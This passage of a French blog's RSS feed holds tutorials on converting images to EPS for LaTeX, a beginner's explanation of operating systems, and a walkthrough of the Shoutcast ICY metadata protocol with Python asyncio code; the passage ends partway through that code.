&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;convert dijkstra.jpg dijkstra.eps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert&lt;/code&gt; a en effet de nombreux paramètres qui sont tous décrits en détails dans le manuel (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man convert&lt;/code&gt;) dont les valeurs par défaut ne sont pas toujours appropriées.
Ici nous nous penchons seulement sur les deux problèmes suivants :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Les images sont trop grandes et pixelisées à cause d’une valeur par défaut inadéquate du paramètre &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;density&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Les images sont trop lourdes car aucune compression n’est utilisée pour la sortie&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les images sont représentées sous forme de pixels mais les sorties LaTeX raisonnent en centimètres: il faut donc choisir combien de pixels on met par centimètres.
On parle souvent de &lt;a href=&quot;https://fr.wikipedia.org/wiki/Point_par_pouce&quot;&gt;DPI&lt;/a&gt; pour ce problème, ImageMagick utilise le terme de densité.
La valeur de densité par défaut de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert&lt;/code&gt; est très basse (probablement autour de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;96&lt;/code&gt; pour des raisons historiques).
D’expérience, je recommande une valeur entre &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;172&lt;/code&gt; et &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;300&lt;/code&gt; pour éviter de se retrouver avec une image pixelisée, à ajuster en fonction de la taille voulue.&lt;/p&gt;

&lt;p&gt;Ensuite, historiquement, le format EPS ne supporte pas de compression et produit des images très lourdes par défaut.
Notre image originale au format JPG fait &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;846 ko&lt;/code&gt; ; convertie sans compression, sa taille grimpe à &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 Mo&lt;/code&gt;.
Au delà de la taille sur le disque, une telle taille est problématique car elle peut faire planter la compilation ou la visionneuse.
Heureusement, &lt;a href=&quot;https://stackoverflow.com/questions/5350246/convert-jpg-to-eps-format&quot;&gt;StackOverflow&lt;/a&gt; nous apprend que des évolutions du format existent : ces dernières ont l’avantage de supporter la compression.
Pour les utiliser il suffit de préfixer notre fichier de sortie par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eps2:&lt;/code&gt; ou &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eps3:&lt;/code&gt; (exemple: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eps2:dijkstra.eps&lt;/code&gt;).
En choisissant un format ou l’autre, on revient sur une taille similaire au JPG d’origine, de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;841 ko&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;La commande finale que je recommande pour la conversion est donc :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;convert &lt;span class=&quot;nt&quot;&gt;-density&lt;/span&gt; 300 dijkstra.jpg eps2:dijkstra.eps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;intégrer-limage-dans-un-document-latex&quot;&gt;Intégrer l’image dans un document LaTeX&lt;/h2&gt;

&lt;p&gt;Je crée un fichier LaTeX très simple nommé &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trombi.tex&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-latex highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\documentclass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;article&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;graphicx&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\begin{document}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\includegraphics&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;dijkstra.eps&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\end{document}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Que je compile ensuite :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;latex trombi.tex
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et que je peux ouvrir avec :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xdg-open trombi.dvi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voici le résultat !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/dijkstra-res.png&quot; alt=&quot;Dijkstra dans Evince&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 05 Mar 2021 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2021-03-05/latex-dvi-integrer-image/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2021-03-05/latex-dvi-integrer-image/</guid>
      </item>
    
    
    
      <item>
        <title>Le concept d&apos;OS</title>
        
        <description>&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ubuntu-desktop-1.png&quot; alt=&quot;Bureau Ubuntu&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Les systèmes d’exploitation ou OS sont au coeur de notre vie. Par contre, on a souvent un peu de mal à comprendre ce que c’est.
Posons quelques bases.&lt;/p&gt;

&lt;h2 id=&quot;comprendre-ce-quest-un-système-dexploitation&quot;&gt;Comprendre ce qu’est un système d’exploitation&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ubuntu-os-list.png&quot; alt=&quot;Logo de Windows, macOS et Ubuntu&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Windows, macOS et Ubuntu, dont les logos se trouvent juste au dessus, sont des Systèmes d’Exploitation. L’abbréviation anglaise OS pour Operating System est assez courante : c’est elle que vous retrouvez dans les termes macOS ou iOS (pour les iPhone).&lt;/p&gt;

&lt;p&gt;Vous n’avez probablement jamais eu à vous soucier d’eux car très souvent ils sont livrés avec l’ordinateur que vous achetez.
Souvent, c’est Windows que vous retrouverez, sauf pour les ordinateurs Apple qui sont livrés avec macOS.
Et Ubuntu ? On peut trouver certains ordinateurs vendus avec (chez Dell ou des constructeurs spécialisés, comme System76 ou Purism) mais ça reste marginal.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Au passage, lors de l’achat de votre ordinateur, vous payez pour Windows. Alors que vous pourriez vouloir utiliser Ubuntu à la place, qui est gratuit. Théoriquement, vous pourriez demander un remboursement. En pratique, c’est plus compliqué… Pour plus d’information, regardez du côté de la vente liée.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Votre ordinateur est donc très souvent livré avec un système d’exploitation pour des raisons pratiques. Mais un système d’exploitation n’est qu’un logiciel, du code, une sorte de super application, il n’a pas d’existence matériel. Cette super application est lancée au démarrage de votre ordinateur. Elle est constituée d’un ensemble de fichiers stockés sur votre disque dur, au même titre que le dernier tube de Rihanna ou cette formidable grimace que vous avez faite à votre webcam. Pour changer de système d’exploitation, il suffit d’en réécrire un nouveau sur votre disque.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ubuntu-se-dd.png&quot; alt=&quot;Le système d&apos;exploitation est stocké sur le disque dur&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Avant de voir pourquoi en changer, essayons de comprendre à quoi il sert. Le matériel informatique est très bête : votre processeur ne sait qu’exécuter une liste d’instructions, votre disque dur stocker des 0 et des 1 et votre écran afficher des pixels. D’ailleurs, en fonction du disque dur ou de l’écran, le fonctionnement sera différent. Un développeur voulant écrire une application sans système d’exploitation se heurtera donc à un problème de &lt;strong&gt;généricité&lt;/strong&gt; : il devra réécrire son code à chaque fois qu’une pièce change.&lt;/p&gt;

&lt;p&gt;Maintenant, soyons fou et demandons l’impossible, exécutons deux applications en même temps : nouveau problème, il va falloir &lt;strong&gt;partager les ressources&lt;/strong&gt;. Où je vais écrire mes fichiers sur le disque dur pour que l’autre application ne les écrase pas, est-ce que je peux utiliser cette partie de l’écran, etc. On résout ce problème en déléguant ces décisions au système d’exploitation.&lt;/p&gt;

&lt;p&gt;Contrôle :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ubuntu-se.png&quot; alt=&quot;Le système d&apos;exploitation est un intermediaire entre les apps et le materiel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pour résumé, le système d’exploitation est un super logiciel stocké sur le disque dur de l’ordinateur. C’est le premier lancé au démarrage. Il va se placer entre le matériel, dont il va prendre le contrôle, et les applications, à qui il va partager ce matériel, contrôler leur usage et fournir une boite à outils pour le manipuler aisément.&lt;/strong&gt;&lt;/p&gt;

</description>
        <pubDate>Wed, 04 Sep 2019 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2019-09-04/vous-avez-dit-os/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2019-09-04/vous-avez-dit-os/</guid>
      </item>
    
    
    
      <item>
        <title>Disséquer le protocole Shoutcast</title>
        
        <description>&lt;p&gt;Shoutcast est un protocole de diffusion pour webradio créé par Nullsoft, l’éditeur de Winamp entre autre. Il repose sur des technologies bien établies car au final il s’agit principalement de diffuser un fichier en MP3 en continu à travers le protocole HTTP. Il est donc possible d’écouter simplement une radio diffusé via Shoutcast en copiant son lien dans le navigateur. Nous allons prendre pour exemple ce flux :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://streaming.radionti.com:80/nti-320.mp3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alors qu’apporte Shoutcast de plus ? Tout d’abord il standardise des en-têtes HTTP, ce qui est bien pratique car l’on peut écrire un lecteur qui fonctionnera avec plein de flux. Mais regardons de plus prêt ces en-têtes :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -vvv http://streaming.radionti.com:80/nti-320.mp3
*   Trying 51.15.166.151...
* TCP_NODELAY set
* Connected to streaming.radionti.com (51.15.166.151) port 80 (#0)
&amp;gt; GET /nti-320.mp3 HTTP/1.1
&amp;gt; Host: streaming.radionti.com
&amp;gt; User-Agent: curl/7.64.0
&amp;gt; Accept: */*
&amp;gt; 
* HTTP 1.0, assume close after body
&amp;lt; HTTP/1.0 200 OK
&amp;lt; Server: Icecast 2.4.2
&amp;lt; Date: Tue, 19 Dec 2017 21:45:23 GMT
&amp;lt; Content-Type: audio/mpeg
&amp;lt; Cache-Control: no-cache
&amp;lt; Expires: Mon, 26 Jul 1997 05:00:00 GMT
&amp;lt; Pragma: no-cache
&amp;lt; Access-Control-Allow-Origin: *
&amp;lt; icy-br:320
&amp;lt; icy-description:NTI - LA NOUVELLE TENDANCE (FRANCE)
&amp;lt; icy-genre:DANCE &amp;amp; EDM
&amp;lt; icy-name:NTI - LA NOUVELLE TENDANCE (FRANCE)
&amp;lt; icy-pub:0
&amp;lt; icy-url:http://www.radionti.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On reconnait facilement les en-têtes définies par le protocole Shoutcast car elles sont préfixées par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icy-&lt;/code&gt;. On peut retrouver des informations sur la radio, mais pas le titre de la musique qui est en train d’être joué. Et pour comprendre pourquoi, il faut se plonger un peu dans HTTP.&lt;/p&gt;

&lt;h2 id=&quot;le-streaming-http&quot;&gt;Le streaming HTTP&lt;/h2&gt;

&lt;p&gt;On commence rarement par aborder HTTP à travers le streaming. Généralement, on fait une requête HTTP, on attend de recevoir la réponse dans sa totalité, si possible dans une magnifique chaine de caractère, on ferme la connexion HTTP et seulement ensuite on traite l’information.&lt;/p&gt;

&lt;p&gt;Oui, mais là on veut diffuser de la musique en continu ! Alors on pourrait envoyer des morceaux de musique de quelques secondes par requete et répéter le processus suivant en boucle. Mais ouvrir et fermer plein de connexion est couteux, peu optimisé et introduirait un décalage peu utile.&lt;/p&gt;

&lt;p&gt;Nous allons donc utiliser une seule connexion qui ne se fermera jamais, qui va nous envoyer de la donnée en continue, au fur et à mesure qu’elle arrive. Ce qui veut également dire que l’on devra gérer en même temps la connexion et le player audio, faire un petit peu de chaque.&lt;/p&gt;

&lt;p&gt;Mais vu que l’on ouvre la connexion qu’une seule fois, les en-têtes ne seront envoyées qu’une seule fois ! Et une fois que l’on a commencé à transférer des données, impossible d’envoyer de nouvelles en-têtes !&lt;/p&gt;

&lt;p&gt;Alors comment fait-on ? Dans les données que le serveur Shoutcast va envoyer, se trouvera un mélange de flux audio et de méta donnée. Ce sera alors au client de séparer les deux et de rédiger le flux audio vers le lecteur audio et les méta données vers l’interface utilisateur.&lt;/p&gt;

&lt;h2 id=&quot;icy-metadata&quot;&gt;Icy Metadata&lt;/h2&gt;

&lt;p&gt;Par défaut et pour des raisons de compatibilité, seul le flux audio est envoyé. Pour obtenir les méta données en plus, il est nécessaire de le demander explicitement au moment où l’on réalise la requête. En échange, le serveur va nous fournir une nouvelle en-tête &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icy-metaint&lt;/code&gt; qui nous informera à quelle fréquence les méta données seront envoyées. Plus exactement, tous les combiens d’octets de musique envoyés se trouveront ces méta données.&lt;/p&gt;

&lt;p&gt;Une fois arrivée aux métadonnées, on commence par lire un octet. En le multipliant par 16, on peut en déduire la taille totale des métadonnées à lire. Une fois ces méta données lues, on recommence à compter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icy-metaint&lt;/code&gt; octets, etc.&lt;/p&gt;

&lt;p&gt;Tout ça peut paraitre très abstrait, pourtant avec quelques lignes de python et des streams on peut s’en sortir sans trop de mal !&lt;/p&gt;

&lt;h2 id=&quot;python-streams-et-découpage-de-webradios&quot;&gt;Python, Streams et découpage de webradios&lt;/h2&gt;

&lt;p&gt;Nous allons commencer avec ce squelette qui nous est un peu imposé par asyncio:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;icy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;icy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous n’utiliserons pas de bibliothèque HTTP mais une simple connexion TCP pour bien comprendre comment ça se passe dans les niveaux en dessous. Nous utiliserons également les objets &lt;a href=&quot;https://docs.python.org/3/library/asyncio-stream.html&quot;&gt;Streams de Python&lt;/a&gt; qui semblent appropriés pour résoudre notre problème.&lt;/p&gt;

&lt;p&gt;Nous allons commencer par nous connecter au serveur et lui demander le stream qui nous intéresse :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;icy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asyncio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open_connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;streaming.radionti.com&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;writer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;GET /nti-320.mp3 HTTP/1.0
Host: streaming.radionti.com
User-Agent: Icy-Test
Accept: */*
Icy-Metadata: 1

&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On commence par ouvrire une connexion TCP vers l’URL et le port du serveur.
Ensuite, on utilise l’objet &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writer&lt;/code&gt; pour envoyer notre requête HTTP.
Pour rappel, HTTP est un protocole texte. La première ligne permet d’indiquer le verbe HTTP, la page ainsi que la version du protocole. Les lignes suivantes sont des en-tête au format clé valeur, une par ligne, séparées par deux points.&lt;/p&gt;

&lt;p&gt;Nous avons justement fait attention à préciser l’entête &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Icy-Metadata: 1&lt;/code&gt; pour demander un flux audio mélangé avec des métadonnées (sinon, nous n’aurions eu que le flux audio sans les métadonnées !).&lt;/p&gt;

&lt;p&gt;La ligne vide indique la fin de l’envoie des en-têtes. 
Puisque nous envoyons une requête GET, nous n’avons pas de données à envoyer.
Le serveur sait alors qu’il peut commencer à générer la réponse.&lt;/p&gt;

&lt;p&gt;Nous allons donc pouvoir nous préparer à analyser la réponse que le serveur va nous faire.
Mais permettons-nous d’écrire une petite fonction utilitaire pour extraire les en-têtes renvoyées par le serveur :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;readHeaders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;assert &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HTTP/1.0 200 OK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;End of metadata part, all key/value headers have been read&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;header_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;header_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;header_value&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tout d’abord, la première ligne est un peu particulière. On vérifie que le protocole correspond, que le code de status est bien 200 (qui veut dire OK, tout s’est bien passé).
Ensuite, nous récuperons les en-têtes envoyées par le serveur sous le même format que celles que nous avons envoyées ! Une ligne vide indique également la fin des en-têtes, et dans notre cas le début du contenu que nous avons demandé !&lt;/p&gt;

&lt;p&gt;Armés de cette fonction, complétons notre fonction &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icy&lt;/code&gt; pour les récupérer, et surtout récupérer l’en-tête qui nous intéresse, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;icy-metaint&lt;/code&gt; qui nous indiquera comment découper notre flux !&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;icy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;readHeaders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;metaint&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;icy-metaint&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous avons donc stocké dans la variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;metaint&lt;/code&gt; le nombre d’octets d’audio à lire dans le flux envoyé par notre serveur Shoutcast.&lt;/p&gt;

&lt;p&gt;Maintenant que nous avons toutes les informations dont nous avons besoin, récupérons ce flux et découpons le !&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;icy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt; 
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;audio&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readexactly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metaint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
